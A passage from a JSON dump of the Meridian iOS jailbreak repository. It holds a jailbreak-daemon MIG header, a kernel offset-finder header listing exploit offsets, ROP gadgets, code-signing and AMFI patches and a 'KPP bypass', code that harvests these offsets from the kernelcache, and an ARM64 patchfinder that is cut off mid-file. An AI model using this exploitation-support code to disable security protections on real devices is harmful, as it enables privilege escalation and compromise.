(*function_ptr_t)(mach_port_t, char *, mach_msg_type_number_t);\ntypedef struct {\n        char            *name;\n        function_ptr_t  function;\n} function_table_entry;\ntypedef function_table_entry   *function_table_t;\n#endif /* FUNCTION_PTR_T */\n#endif /* AUTOTEST */\n\n#ifndef\tjailbreak_daemon_MSG_COUNT\n#define\tjailbreak_daemon_MSG_COUNT\t1\n#endif\t/* jailbreak_daemon_MSG_COUNT */\n\n#include <mach/std_types.h>\n#include <mach/mig.h>\n#include <mach/mig.h>\n#include <mach/mach_types.h>\n\n#ifdef __BeforeMigUserHeader\n__BeforeMigUserHeader\n#endif /* __BeforeMigUserHeader */\n\n#include <sys/cdefs.h>\n__BEGIN_DECLS\n\n\n/* Routine call */\n#ifdef\tmig_external\nmig_external\n#else\nextern\n#endif\t/* mig_external */\nkern_return_t jbd_call\n(\n\tmach_port_t server_port,\n\tuint8_t command,\n\tuint32_t pid\n);\n\n__END_DECLS\n\n/********************** Caution **************************/\n/* The following data types should be used to calculate  */\n/* maximum message sizes only. The actual message may be */\n/* smaller, and the position of the arguments within the */\n/* message layout may vary from what is presented here.  */\n/* For example, if any of the arguments are variable-    */\n/* sized, and less than the maximum is sent, the data    */\n/* will be packed tight in the actual message to reduce  */\n/* the presence of holes.                                */\n/********************** Caution **************************/\n\n/* typedefs for all requests */\n\n#ifndef __Request__jailbreak_daemon_subsystem__defined\n#define __Request__jailbreak_daemon_subsystem__defined\n\n#ifdef  __MigPackStructs\n#pragma pack(4)\n#endif\n\ttypedef struct {\n\t\tmach_msg_header_t Head;\n\t\tNDR_record_t NDR;\n\t\tuint8_t command;\n\t\tchar commandPad[3];\n\t\tuint32_t pid;\n\t} __Request__call_t __attribute__((unused));\n#ifdef  __MigPackStructs\n#pragma pack()\n#endif\n#endif /* !__Request__jailbreak_daemon_subsystem__defined */\n\n/* union of all requests */\n\n#ifndef __RequestUnion__jbd_jailbreak_daemon_subsystem__defined\n#define __RequestUnion__jbd_jailbreak_daemon_subsystem__defined\nunion __RequestUnion__jbd_jailbreak_daemon_subsystem {\n\t__Request__call_t Request_jbd_call;\n};\n#endif /* !__RequestUnion__jbd_jailbreak_daemon_subsystem__defined */\n/* typedefs for all replies */\n\n#ifndef __Reply__jailbreak_daemon_subsystem__defined\n#define __Reply__jailbreak_daemon_subsystem__defined\n\n#ifdef  __MigPackStructs\n#pragma pack(4)\n#endif\n\ttypedef struct {\n\t\tmach_msg_header_t Head;\n\t\tNDR_record_t NDR;\n\t\tkern_return_t RetCode;\n\t} __Reply__call_t __attribute__((unused));\n#ifdef  __MigPackStructs\n#pragma pack()\n#endif\n#endif /* !__Reply__jailbreak_daemon_subsystem__defined */\n\n/* union of all replies */\n\n#ifndef __ReplyUnion__jbd_jailbreak_daemon_subsystem__defined\n#define __ReplyUnion__jbd_jailbreak_daemon_subsystem__defined\nunion __ReplyUnion__jbd_jailbreak_daemon_subsystem {\n\t__Reply__call_t Reply_jbd_call;\n};\n#endif /* !__RequestUnion__jbd_jailbreak_daemon_subsystem__defined */\n\n#ifndef subsystem_to_name_map_jailbreak_daemon\n#define subsystem_to_name_map_jailbreak_daemon \\\n    { \"call\", 500 }\n#endif\n\n#ifdef __AfterMigUserHeader\n__AfterMigUserHeader\n#endif /* __AfterMigUserHeader */\n\n#endif\t /* _jailbreak_daemon_user_ */\n"
  },
  {
    "path": "Meridian/Meridian/patchfinders/liboffsetfinder64.hpp",
    "content": "//\n//  offsetfinder64.hpp\n//  offsetfinder64\n//\n//  Created by tihmstar on 10.01.18.\n//  Copyright © 2018 tihmstar. All rights reserved.\n//\n\n#ifndef offsetfinder64_hpp\n#define offsetfinder64_hpp\n\n#include <string>\n#include <stdint.h>\n#include <mach-o/loader.h>\n#include <mach-o/nlist.h>\n#include <mach-o/dyld_images.h>\n#include <vector>\n\n#include <stdlib.h>\n\ntypedef uint64_t offset_t;\n\n\nnamespace tihmstar {\n    \n    class exception : public std::exception{\n        std::string _err;\n        int _code;\n    public:\n        exception(int code, std::string err) : _err(err), _code(code) {};\n        exception(std::string err) : _err(err), _code(0) {};\n        exception(int code) : _code(code) {};\n        const char *what(){return _err.c_str();}\n        int code(){return _code;}\n    };\n    namespace patchfinder64{\n        typedef uint8_t* loc_t;\n        \n        class patch{\n            bool _slideme;\n            void(*_slidefunc)(class patch *patch, uint64_t slide);\n        public:\n            const loc_t _location;\n            const void *_patch;\n            const size_t _patchSize;\n            patch(loc_t location, const void *patch, size_t patchSize, void(*slidefunc)(class patch *patch, uint64_t slide) = NULL) : _location(location), _patchSize(patchSize), _slidefunc(slidefunc){\n                _patch = malloc(_patchSize);\n                memcpy((void*)_patch, patch, _patchSize);\n                _slideme = (_slidefunc) ? true : false;\n            }\n            patch(const patch& cpy) : _location(cpy._location), _patchSize(cpy._patchSize){\n                _patch = malloc(_patchSize);\n                memcpy((void*)_patch, cpy._patch, _patchSize);\n                _slidefunc = cpy._slidefunc;\n                _slideme = cpy._slideme;\n            }\n            void slide(uint64_t slide){\n                if (!_slideme)\n                    return;\n                printf(\"sliding with %p\\n\",(void*)slide);\n                _slidefunc(this,slide);\n                _slideme = false; //only slide once\n            }\n            ~patch(){\n                free((void*)_patch);\n            }\n            \n        };\n    }\n    class offsetfinder64 {\n    public:\n        struct text_t{\n            patchfinder64::loc_t map;\n            size_t size;\n            patchfinder64::loc_t base;\n            bool isExec;\n        };\n        \n    private:\n        bool _freeKernel;\n        uint8_t *_kdata;\n        size_t _ksize;\n        offset_t _kslide;\n        patchfinder64::loc_t _kernel_entry;\n        std::vector<text_t> _segments;\n        \n        struct symtab_command *__symtab;\n        void loadSegments(uint64_t slide);\n        __attribute__((always_inline)) struct symtab_command *getSymtab();\n        \n    public:\n        offsetfinder64(const char *filename);\n        offsetfinder64(void* buf, size_t size, uint64_t base);\n        const void *kdata();\n        patchfinder64::loc_t find_entry();\n        const std::vector<text_t> &segments(){return _segments;};\n        \n        patchfinder64::loc_t memmem(const void *little, size_t little_len);\n        \n        patchfinder64::loc_t find_sym(const char *sym);\n        patchfinder64::loc_t find_syscall0();\n        uint64_t             find_register_value(patchfinder64::loc_t where, int reg, patchfinder64::loc_t startAddr = 0);\n        \n        /*------------------------ v0rtex -------------------------- */\n        patchfinder64::loc_t find_zone_map();\n        patchfinder64::loc_t find_kernel_map();\n        patchfinder64::loc_t find_kernel_task();\n        patchfinder64::loc_t find_realhost();\n        patchfinder64::loc_t find_bzero();\n        patchfinder64::loc_t find_bcopy();\n        patchfinder64::loc_t find_copyout();\n        patchfinder64::loc_t find_copyin();\n        patchfinder64::loc_t find_ipc_port_alloc_special();\n        patchfinder64::loc_t find_ipc_kobject_set();\n        patchfinder64::loc_t find_ipc_port_make_send();\n        patchfinder64::loc_t find_chgproccnt();\n        patchfinder64::loc_t find_kauth_cred_ref();\n        patchfinder64::loc_t find_osserializer_serialize();\n        uint32_t             find_vtab_get_external_trap_for_index();\n        uint32_t             find_vtab_get_retain_count();\n        uint32_t             find_iouserclient_ipc();\n        uint32_t             find_ipc_space_is_task();\n        uint32_t             find_proc_ucred();\n        uint32_t             find_task_bsd_info();\n        uint32_t             find_vm_map_hdr();\n        uint32_t             find_task_itk_self();\n        uint32_t             find_task_itk_registered();\n        uint32_t             find_sizeof_task();\n        \n        patchfinder64::loc_t find_rop_add_x0_x0_0x10();\n        patchfinder64::loc_t find_rop_ldr_x0_x0_0x10();\n        \n        \n        /*------------------------ kernelpatches -------------------------- */\n        patchfinder64::patch find_i_can_has_debugger_patch_off();\n        patchfinder64::patch find_lwvm_patch_offsets();\n        patchfinder64::patch find_remount_patch_offset();\n        std::vector<patchfinder64::patch> find_nosuid_off();\n        patchfinder64::patch find_proc_enforce();\n        patchfinder64::patch find_amfi_patch_offsets();\n        patchfinder64::patch find_cs_enforcement_disable_amfi();\n        patchfinder64::patch find_amfi_substrate_patch();\n//        patchfinder64::patch find_sandbox_patch();\n        patchfinder64::loc_t find_sbops();\n        patchfinder64::patch find_nonceEnabler_patch();\n\n        \n        /*------------------------ KPP bypass -------------------------- */\n        patchfinder64::loc_t find_gPhysBase();\n        patchfinder64::loc_t find_kernel_pmap();\n        patchfinder64::loc_t find_cpacr_write();\n        patchfinder64::loc_t find_idlesleep_str_loc();\n        patchfinder64::loc_t find_deepsleep_str_loc();\n\n        /*------------------------ Util -------------------------- */\n        patchfinder64::loc_t find_rootvnode();\n        \n        ~offsetfinder64();\n    };\n    using segment_t = std::vector<tihmstar::offsetfinder64::text_t>;\n    namespace patchfinder64{\n        \n        loc_t find_literal_ref(segment_t segemts, offset_t kslide, loc_t pos);\n    }\n}\n\n\n\n#endif /* offsetfinder64_hpp */\n"
  },
  {
    "path": "Meridian/Meridian/patchfinders/offsetdump.h",
    "content": "//\n//  offsetdump.h\n//  Meridian\n//\n//  Created by Ben Sparkes on 30/03/2018.\n//  Copyright © 2018 Ben Sparkes. All rights reserved.\n//\n\n#ifndef offsetdump_h\n#define offsetdump_h\n\nvoid dumpOffsetsToFile(offsets_t *offsets, uint64_t kernel_base, uint64_t kernel_slide);\n\n#endif /* offsetdump_h */\n"
  },
  {
    "path": "Meridian/Meridian/patchfinders/offsetdump.m",
    "content": "//\n//  offsetdump.m\n//  Meridian\n//\n//  Created by Ben Sparkes on 30/03/2018.\n//  Copyright © 2018 Ben Sparkes. All rights reserved.\n//\n\n#import <Foundation/Foundation.h>\n\n#include \"patchfinder64.h\"\n#include \"v0rtex.h\"\n\nvoid dumpOffsetsToFile(offsets_t *offsets, uint64_t kernel_base, uint64_t kernel_slide) {\n    NSData *blob = [NSData dataWithContentsOfFile:@\"/meridian/offsets.plist\"];\n    NSMutableDictionary *off_file = [NSPropertyListSerialization propertyListWithData:blob\n                                                                              options:NSPropertyListMutableContainers\n                                                                               format:nil\n                                                                                error:nil];\n    \n    // There is probably a better way than doing this all manually, but ¯\\_(ツ)_/¯\n    // We don't really need to log *all* of these, but better safe than PR'ing, right?\n    // See the amfid patch for an example of using this (amfid/main.m)\n    \n    off_file[@\"Base\"]                           = [NSString stringWithFormat:@\"0x%016llx\", offsets->base];\n    off_file[@\"KernelBase\"]                     = [NSString stringWithFormat:@\"0x%016llx\", kernel_base];\n    off_file[@\"KernelSlide\"]                    = [NSString stringWithFormat:@\"0x%016llx\", kernel_slide];\n    \n    off_file[@\"SizeOfTask\"]                     = [NSString stringWithFormat:@\"0x%016llx\", offsets->sizeof_task];\n    off_file[@\"TaskItkSelf\"]                    = [NSString stringWithFormat:@\"0x%016llx\", offsets->task_itk_self];\n    off_file[@\"TaskItkRegistered\"]              = [NSString stringWithFormat:@\"0x%016llx\", offsets->task_itk_registered];\n    off_file[@\"TaskBsdInfo\"]                    = [NSString stringWithFormat:@\"0x%016llx\", offsets->task_bsd_info];\n    off_file[@\"ProcUcred\"]                      = [NSString stringWithFormat:@\"0x%016llx\", offsets->proc_ucred];\n    off_file[@\"VmMapHdr\"]                       = [NSString stringWithFormat:@\"0x%016llx\", offsets->vm_map_hdr];\n    off_file[@\"IpcSpaceIsTask\"]                 = [NSString stringWithFormat:@\"0x%016llx\", offsets->ipc_space_is_task];\n    off_file[@\"RealhostSpecial\"]                = [NSString stringWithFormat:@\"0x%016llx\", offsets->realhost_special];\n    off_file[@\"IOUserClientIPC\"]                = [NSString stringWithFormat:@\"0x%016llx\", offsets->iouserclient_ipc];\n    off_file[@\"VtabGetRetainCount\"]             = [NSString stringWithFormat:@\"0x%016llx\", offsets->vtab_get_retain_count];\n    off_file[@\"VtabGetExternalTrapForIndex\"]    = [NSString stringWithFormat:@\"0x%016llx\", offsets->vtab_get_external_trap_for_index];\n    \n    off_file[@\"ZoneMap\"]                        = [NSString stringWithFormat:@\"0x%016llx\", offsets->zone_map];\n    off_file[@\"KernelMap\"]                      = [NSString stringWithFormat:@\"0x%016llx\", offsets->kernel_map];\n    off_file[@\"KernelTask\"]                     = [NSString stringWithFormat:@\"0x%016llx\", offsets->kernel_task];\n    off_file[@\"RealHost\"]                       = [NSString stringWithFormat:@\"0x%016llx\", offsets->realhost];\n    \n    off_file[@\"CopyIn\"]                         = [NSString stringWithFormat:@\"0x%016llx\", offsets->copyin];\n    off_file[@\"CopyOut\"]                        = [NSString stringWithFormat:@\"0x%016llx\", offsets->copyout];\n    off_file[@\"Chgproccnt\"]                     = [NSString stringWithFormat:@\"0x%016llx\", offsets->chgproccnt];\n    off_file[@\"KauthCredRef\"]                   = [NSString stringWithFormat:@\"0x%016llx\", offsets->kauth_cred_ref];\n    off_file[@\"IpcPortAllocSpecial\"]            = [NSString stringWithFormat:@\"0x%016llx\", offsets->ipc_port_alloc_special];\n    off_file[@\"IpcKobjectSet\"]                  = [NSString stringWithFormat:@\"0x%016llx\", offsets->ipc_kobject_set];\n    off_file[@\"IpcPortMakeSend\"]                = [NSString stringWithFormat:@\"0x%016llx\", offsets->ipc_port_make_send];\n    off_file[@\"OSSerializerSerialize\"]          = [NSString stringWithFormat:@\"0x%016llx\", offsets->osserializer_serialize];\n    off_file[@\"RopLDR\"]                         = [NSString stringWithFormat:@\"0x%016llx\", offsets->rop_ldr_x0_x0_0x10];\n    \n    off_file[@\"RootVnode\"]                      = [NSString stringWithFormat:@\"0x%016llx\", offsets->root_vnode];\n    \n    off_file[@\"VfsContextCurrent\"]              = [NSString stringWithFormat:@\"0x%016llx\", offsets->vfs_context_current];\n    off_file[@\"VnodeGetFromFD\"]                 = [NSString stringWithFormat:@\"0x%016llx\", offsets->vnode_getfromfd];\n    off_file[@\"VnodeGetAttr\"]                   = [NSString stringWithFormat:@\"0x%016llx\", offsets->vnode_getattr];\n    off_file[@\"VnodePut\"]                       = [NSString stringWithFormat:@\"0x%016llx\", offsets->vnode_put];\n    off_file[@\"CSBlobEntDictSet\"]               = [NSString stringWithFormat:@\"0x%016llx\", offsets->csblob_ent_dict_set];\n    off_file[@\"SHA1Init\"]                       = [NSString stringWithFormat:@\"0x%016llx\", offsets->sha1_init];\n    off_file[@\"SHA1Update\"]                     = [NSString stringWithFormat:@\"0x%016llx\", offsets->sha1_update];\n    off_file[@\"SHA1Final\"]                      = [NSString stringWithFormat:@\"0x%016llx\", offsets->sha1_final];\n    \n    off_file[@\"AddGadgetRet\"]                   = [NSString stringWithFormat:@\"0x%016llx\", find_add_x0_x0_0x40_ret()];\n    off_file[@\"OSBooleanTrue\"]                  = [NSString stringWithFormat:@\"0x%016llx\", find_OSBoolean_True()];\n    off_file[@\"OSBooleanFalse\"]                 = [NSString stringWithFormat:@\"0x%016llx\", find_OSBoolean_False()];\n    off_file[@\"OSUnserializeXML\"]               = [NSString stringWithFormat:@\"0x%016llx\", find_OSUnserializeXML()];\n    off_file[@\"Smalloc\"]                        = [NSString stringWithFormat:@\"0x%016llx\", find_smalloc()];\n    off_file[@\"CSFindMD\"]                       = [NSString stringWithFormat:@\"0x%016llx\", find_cs_find_md(offsets->sha1_init + kernel_slide,\n                                                                                                           offsets->sha1_update + kernel_slide,\n                                                                                                           offsets->sha1_final + kernel_slide)];\n    \n    [off_file writeToFile:@\"/meridian/offsets.plist\" atomically:YES];\n}\n"
  },
  {
    "path": "Meridian/Meridian/patchfinders/offsetfinder.h",
    "content": "//\n//  offsetfinder.h\n//  Meridian\n//\n//  Created by Ben Sparkes on 08/03/2018.\n//  Copyright © 2018 Ben Sparkes. All rights reserved.\n//\n\n#ifndef offsetfinder_h\n#define offsetfinder_h\n\n#ifdef __cplusplus\nextern \"C\"\n#endif\noffsets_t *get_offsets(void);\n\n#endif /* offsetfinder_h */\n"
  },
  {
    "path": "Meridian/Meridian/patchfinders/offsetfinder.mm",
    "content": "//\n//  offsetfinder.mm\n//  Meridian\n//\n//  Created by Ben Sparkes on 08/03/2018.\n//  Copyright © 2018 Ben Sparkes. All rights reserved.\n//\n\n#include \"v0rtex.h\"\n#include \"liboffsetfinder64.hpp\"\n#include \"ViewController.h\"\n#import <Foundation/Foundation.h>\n\nstatic bool DidInit = false;\nstatic offsets_t off;\n\nextern \"C\" offsets_t *get_offsets() {\n    if (DidInit) {\n        return &off;\n    }\n\n    try {\n        NSLog(@\"[OFFSET] initializing offsetfinder...\");\n        tihmstar::offsetfinder64 fi(\"/System/Library/Caches/com.apple.kernelcaches/kernelcache\");\n        NSLog(@\"[OFFSET] initialized offsetfinder\");\n\n        off.base = 0xfffffff007004000;\n\n        NSLog(@\"[OFFSET] begginning offset finding...\");\n        off.sizeof_task                         = (kptr_t)fi.find_sizeof_task();\n        off.task_itk_self                       = (kptr_t)fi.find_task_itk_self();\n        off.task_itk_registered                 = (kptr_t)fi.find_task_itk_registered();\n        off.task_bsd_info                       = (kptr_t)fi.find_task_bsd_info();\n        off.proc_ucred                          = (kptr_t)fi.find_proc_ucred();\n        off.vm_map_hdr                          = (kptr_t)fi.find_vm_map_hdr();\n        off.ipc_space_is_task                   = (kptr_t)fi.find_ipc_space_is_task();\n        off.realhost_special                    = 0x10;\n        off.iouserclient_ipc                    = (kptr_t)fi.find_iouserclient_ipc();\n        off.vtab_get_retain_count               = (kptr_t)fi.find_vtab_get_retain_count();\n        off.vtab_get_external_trap_for_index    = (kptr_t)fi.find_vtab_get_external_trap_for_index();\n        NSLog(@\"[OFFSET] grabbed struct offsets\");\n\n        off.zone_map                            = (kptr_t)fi.find_zone_map();\n        off.kernel_map                          = (kptr_t)fi.find_kernel_map();\n        off.kernel_task                         = (kptr_t)fi.find_kernel_task();\n        off.realhost                            = (kptr_t)fi.find_realhost();\n        NSLog(@\"[OFFSET] grabbed map offsets\");\n        \n        off.copyin                              = (kptr_t)fi.find_copyin();\n        off.copyout                             = (kptr_t)fi.find_copyout();\n        off.chgproccnt                          = (kptr_t)fi.find_chgproccnt();\n        off.kauth_cred_ref                      = (kptr_t)fi.find_kauth_cred_ref();\n        off.ipc_port_alloc_special              = (kptr_t)fi.find_ipc_port_alloc_special();\n        off.ipc_kobject_set                     = (kptr_t)fi.find_ipc_kobject_set();\n        off.ipc_port_make_send                  = (kptr_t)fi.find_ipc_port_make_send();\n        off.osserializer_serialize              = (kptr_t)fi.find_osserializer_serialize();\n        off.rop_ldr_x0_x0_0x10                  = (kptr_t)fi.find_rop_ldr_x0_x0_0x10();\n        NSLog(@\"[OFFSET] grabbed code offsets\");\n        \n        off.root_vnode                          = (kptr_t)fi.find_rootvnode();\n        \n        off.vfs_context_current                 = (kptr_t)fi.find_sym(\"_vfs_context_current\");\n        off.vnode_getfromfd                     = (kptr_t)fi.find_sym(\"_vnode_getfromfd\");\n        off.vnode_getattr                       = (kptr_t)fi.find_sym(\"_vnode_getattr\");\n        off.vnode_put                           = (kptr_t)fi.find_sym(\"_vnode_put\");\n        off.csblob_ent_dict_set                 = (kptr_t)fi.find_sym(\"_csblob_entitlements_dictionary_set\");\n        off.sha1_init                           = (kptr_t)fi.find_sym(\"_SHA1Init\");\n        off.sha1_update                         = (kptr_t)fi.find_sym(\"_SHA1Update\");\n        off.sha1_final                          = (kptr_t)fi.find_sym(\"_SHA1Final\");\n        NSLog(@\"[OFFSET] grabbed amfi offsets\");\n        \n        NSLog(@\"[OFFSET] sizeof_task = 0x%llx\", off.sizeof_task);\n        NSLog(@\"[OFFSET] task_itk_self = 0x%llx\", off.task_itk_self);\n        NSLog(@\"[OFFSET] task_itk_registered = 0x%llx\", off.task_itk_registered);\n        NSLog(@\"[OFFSET] kernel_task = 0x%llx\", off.kernel_task);\n        NSLog(@\"[OFFSET] rootvnode = 0x%llx\", off.root_vnode);\n        NSLog(@\"[OFFSET] sha1_init = 0x%llx\", off.sha1_init);\n    } catch (tihmstar::exception &e) {\n        NSLog(@\"offsetfinder failure! %d (%s)\", e.code(), e.what());\n        return NULL;\n    } catch (std::exception &e) {\n        NSLog(@\"fatal offsetfinder failure! %s\", e.what());\n        return NULL;\n    }\n        \n    DidInit = true;\n\n    return &off;\n}\n"
  },
  {
    "path": "Meridian/Meridian/patchfinders/patchfinder64.c",
    "content": "//\n//  patchfinder64.c\n//  extra_recipe\n//\n//  Created by xerub on 06/06/2017.\n//  Copyright © 2017 xerub. All rights reserved.\n//\n\n#include <assert.h>\n#include <stdint.h>\n#include <string.h>\n#include \"kernel.h\"\n\ntypedef unsigned long long addr_t;\n\n#define IS64(image) (*(uint8_t *)(image) & 1)\n\n#define MACHO(p) ((*(unsigned int *)(p) & ~1) == 0xfeedface)\n\n/* generic stuff *************************************************************/\n\n#define UCHAR_MAX 255\n\nstatic unsigned char *\nboyermoore_horspool_memmem(const unsigned char* haystack, size_t hlen,\n                           const unsigned char* needle,   size_t nlen)\n{\n    size_t last, scan = 0;\n    size_t bad_char_skip[UCHAR_MAX + 1]; /* Officially called:\n                                          * bad character shift */\n\n    /* Sanity checks on the parameters */\n    if (nlen <= 0 || !haystack || !needle)\n        return NULL;\n\n    /* ---- Preprocess ---- */\n    /* Initialize the table to default value */\n    /* When a character is encountered that does not occur\n     * in the needle, we can safely skip ahead for the whole\n     * length of the needle.\n     */\n    for (scan = 0; scan <= UCHAR_MAX; scan = scan + 1)\n        bad_char_skip[scan] = nlen;\n\n    /* C arrays have the first byte at [0], therefore:\n     * [nlen - 1] is the last byte of the array. */\n    last = nlen - 1;\n\n    /* Then populate it with the analysis of the needle */\n    for (scan = 0; scan < last; scan = scan + 1)\n        bad_char_skip[needle[scan]] = last - scan;\n\n    /* ---- Do the matching ---- */\n\n    /* Search the haystack, while the needle can still be within it. */\n    while (hlen >= nlen)\n    {\n        /* scan from the end of the needle */\n        for (scan = last; haystack[scan] == needle[scan]; scan = scan - 1)\n            if (scan == 0) /* If the first byte matches, we've found it. */\n                return (void *)haystack;\n\n        /* otherwise, we need to skip some bytes and start again.\n           Note that here we are getting the skip value based on the last byte\n           of needle, no matter where we didn't match. So if needle is: \"abcd\"\n           then we are skipping based on 'd' and that value will be 4, and\n           for \"abcdd\" we again skip on 'd' but the value will be only 1.\n           The alternative of pretending that the mismatched character was\n           the last character is slower in the normal case (E.g. finding\n           \"abcd\" in \"...azcd...\" gives 4 by using 'd' but only\n           4-2==2 using 'z'. */\n        hlen     -= bad_char_skip[haystack[last]];\n        haystack += bad_char_skip[haystack[last]];\n    }\n\n    return NULL;\n}\n\n/* disassembler **************************************************************/\n\nstatic int HighestSetBit(int N, uint32_t imm)\n{\n\tint i;\n\tfor (i = N - 1; i >= 0; i--) {\n\t\tif (imm & (1 << i)) {\n\t\t\treturn i;\n\t\t}\n\t}\n\treturn -1;\n}\n\nstatic uint64_t ZeroExtendOnes(unsigned M, unsigned N)\t// zero extend M ones to N width\n{\n\t(void)N;\n\treturn ((uint64_t)1 << M) - 1;\n}\n\nstatic uint64_t RORZeroExtendOnes(unsigned M, unsigned N, unsigned R)\n{\n\tuint64_t val = ZeroExtendOnes(M, N);\n\tif (R == 0) {\n\t\treturn val;\n\t}\n\treturn ((val >> R) & (((uint64_t)1 << (N - R)) - 1)) | ((val & (((uint64_t)1 << R) - 1)) << (N - R));\n}\n\nstatic uint64_t Replicate(uint64_t val, unsigned bits)\n{\n\tuint64_t ret = val;\n\tunsigned shift;\n\tfor (shift = bits; shift < 64; shift += bits) {\t// XXX actually, it is either 32 or 64\n\t\tret |= (val << shift);\n\t}\n\treturn ret;\n}\n\nstatic int DecodeBitMasks(unsigned immN, unsigned imms, unsigned immr, int immediate, uint64_t *newval)\n{\n\tunsigned S, R, esize;\n\tint len = HighestSetBit(7, (immN << 6) | (~imms & 0x3F));\n\tif (len < 1) {\n\t\treturn -1;\n\t}\n\tuint64_t levels = ZeroExtendOnes(len, 6);\n\tif (immediate && (imms & levels) == levels) {\n\t\treturn -1;\n\t}\n\tS = imms & levels;\n\tR = immr & levels;\n\tesize = 1 << len;\n\t*newval = Replicate(RORZeroExtendOnes(S + 1, esize, R), esize);\n\treturn 0;\n}\n\nstatic int DecodeMov(uint32_t opcode, uint64_t total, int first, uint64_t *newval)\n{\n\tunsigned o = (opcode >> 29) & 3;\n\tunsigned k = (opcode >> 23) & 0x3F;\n\tunsigned rn, rd;\n\tuint64_t i;\n\n\tif (k == 0x24 && o == 1) {\t\t\t// MOV (bitmask imm) <=> ORR (immediate)\n\t\tunsigned s = (opcode >> 31) & 1;\n\t\tunsigned N = (opcode >> 22) & 1;\n\t\tif (s == 0 && N != 0) {\n\t\t\treturn -1;\n\t\t}\n\t\trn = (opcode >> 5) & 0x1F;\n\t\tif (rn == 31) {\n\t\t\tunsigned imms = (opcode >> 10) & 0x3F;\n\t\t\tunsigned immr = (opcode >> 16) & 0x3F;\n\t\t\treturn DecodeBitMasks(N, imms, immr, 1, newval);\n\t\t}\n\t} else if (k == 0x25) {\t\t\t\t// MOVN/MOVZ/MOVK\n\t\tunsigned s = (opcode >> 31) & 1;\n\t\tunsigned h = (opcode >> 21) & 3;\n\t\tif (s == 0 && h > 1) {\n\t\t\treturn -1;\n\t\t}\n\t\ti = (opcode >> 5) & 0xFFFF;\n\t\th *= 16;\n\t\ti <<= h;\n\t\tif (o == 0) {\t\t\t\t// MOVN\n\t\t\t*newval = ~i;\n\t\t\treturn 0;\n\t\t} else if (o == 2) {\t\t\t// MOVZ\n\t\t\t*newval = i;\n\t\t\treturn 0;\n\t\t} else if (o == 3 && !first) {\t\t// MOVK\n\t\t\t*newval = (total & ~((uint64_t)0xFFFF << h)) | i;\n\t\t\treturn 0;\n\t\t}\n\t} else if ((k | 1) == 0x23 && !first) {\t\t// ADD (immediate)\n\t\tunsigned h = (opcode >> 22) & 3;\n\t\tif (h > 1) {\n\t\t\treturn -1;\n\t\t}\n\t\trd = opcode & 0x1F;\n\t\trn = (opcode >> 5) & 0x1F;\n\t\tif (rd != rn) {\n\t\t\treturn -1;\n\t\t}\n\t\ti = (opcode >> 10) & 0xFFF;\n\t\th *= 12;\n\t\ti <<= h;\n\t\tif (o & 2) {\t\t\t\t// SUB\n\t\t\t*newval = total - i;\n\t\t\treturn 0;\n\t\t} else {\t\t\t\t// ADD\n\t\t\t*newval = total + i;\n\t\t\treturn 0;\n\t\t}\n\t}\n\n\treturn -1;\n}\n\n/* patchfinder ***************************************************************/\n\nstatic addr_t\nstep64(const uint8_t *buf, addr_t start, size_t length, uint32_t what, uint32_t mask)\n{\n    addr_t end = start + length;\n    while (start < end) {\n        uint32_t x = *(uint32_t *)(buf + start);\n        if ((x & mask) == what) {\n            return start;\n        }\n        start += 4;\n    }\n    return 0;\n}\n\nstatic addr_t\nstep64_back(const uint8_t *buf, addr_t start, size_t length, uint32_t what, uint32_t mask)\n{\n    addr_t end = start - length;\n    while (start >= end) {\n        uint32_t x = *(uint32_t *)(buf + start);\n        if ((x & mask) == what) {\n            return start;\n        }\n        start -= 4;\n    }\n    return 0;\n}\n\nstatic addr_t\nbof64(const uint8_t *buf, addr_t start, addr_t where)\n{\n    for (; where >= start; where -= 4) {\n        uint32_t op = *(uint32_t *)(buf + where);\n        if ((op & 0xFFC003FF) == 0x910003FD) {\n            unsigned delta = (op >> 10) & 0xFFF;\n            //printf(\"%x: ADD X29, SP, #0x%x\\n\", where, delta);\n            if ((delta & 0xF) == 0) {\n                addr_t prev = where - ((delta >> 4) + 1) * 4;\n                uint32_t au = *(uint32_t *)(buf + prev);\n                if ((au & 0xFFC003E0) == 0xA98003E0) {\n                    //printf(\"%x: STP x, y, [SP,#-imm]!\\n\", prev);\n                    return prev;\n                }\n            }\n        }\n    }\n    return 0;\n}\n\nstatic addr_t\nxref64(const uint8_t *buf, addr_t start, addr_t end, addr_t what)\n{\n    addr_t i;\n    uint64_t value[32];\n\n    memset(value, 0, sizeof(value));\n\n    end &= ~3;\n    for (i = start & ~3; i < end; i += 4) {\n        uint32_t op = *(uint32_t *)(buf + i);\n        unsigned reg = op & 0x1F;\n        if ((op & 0x9F000000) == 0x90000000) {\n            signed adr = ((op & 0x60000000) >> 18) | ((op & 0xFFFFE0) << 8);\n            //printf(\"%llx: ADRP X%d, 0x%llx\\n\", i, reg, ((long long)adr << 1) + (i & ~0xFFF));\n            value[reg] = ((long long)adr << 1) + (i & ~0xFFF);\n        /*} else if ((op & 0xFFE0FFE0) == 0xAA0003E0) {\n            unsigned rd = op & 0x1F;\n            unsigned rm = (op >> 16) & 0x1F;\n            //printf(\"%llx: MOV X%d, X%d\\n\", i, rd, rm);\n            value[rd] = value[rm];*/\n        } else if ((op & 0xFF000000) == 0x91000000) {\n            unsigned rn = (op >> 5) & 0x1F;\n            unsigned shift = (op >> 22) & 3;\n            unsigned imm = (op >> 10) & 0xFFF;\n            if (shift == 1) {\n                imm <<= 12;\n            } else {\n                //assert(shift == 0);\n                if (shift > 1) continue;\n            }\n            //printf(\"%llx: ADD X%d, X%d, 0x%x\\n\", i, reg, rn, imm);\n            value[reg] = value[rn] + imm;\n        } else if ((op & 0xF9C00000) == 0xF9400000) {\n            unsigned rn = (op >> 5) & 0x1F;\n            unsigned imm = ((op >> 10) & 0xFFF) << 3;\n            //printf(\"%llx: LDR X%d, [X%d, 0x%x]\\n\", i, reg, rn, imm);\n            if (!imm) continue;\t\t\t// XXX not counted as true xref\n            value[reg] = value[rn] + imm;\t// XXX address, not actual value\n        /*} else if ((op & 0xF9C00000) == 0xF9000000) {\n            unsigned rn = (op >> 5) & 0x1F;\n            unsigned imm = ((op >> 10) & 0xFFF) << 3;\n            //printf(\"%llx: STR X%d, [X%d, 0x%x]\\n\", i, reg, rn, imm);\n            if (!imm) continue;\t\t\t// XXX not counted as true xref\n            value[rn] = value[rn] + imm;\t// XXX address, not actual value*/\n        } else if ((op & 0x9F000000) == 0x10000000) {\n            signed adr = ((op & 0x60000000) >> 18) | ((op & 0xFFFFE0) << 8);\n            //printf(\"%llx: ADR X%d, 0x%llx\\n\", i, reg, ((long long)adr >> 11) + i);\n            value[reg] = ((long long)adr >> 11) + i;\n        } else if ((op & 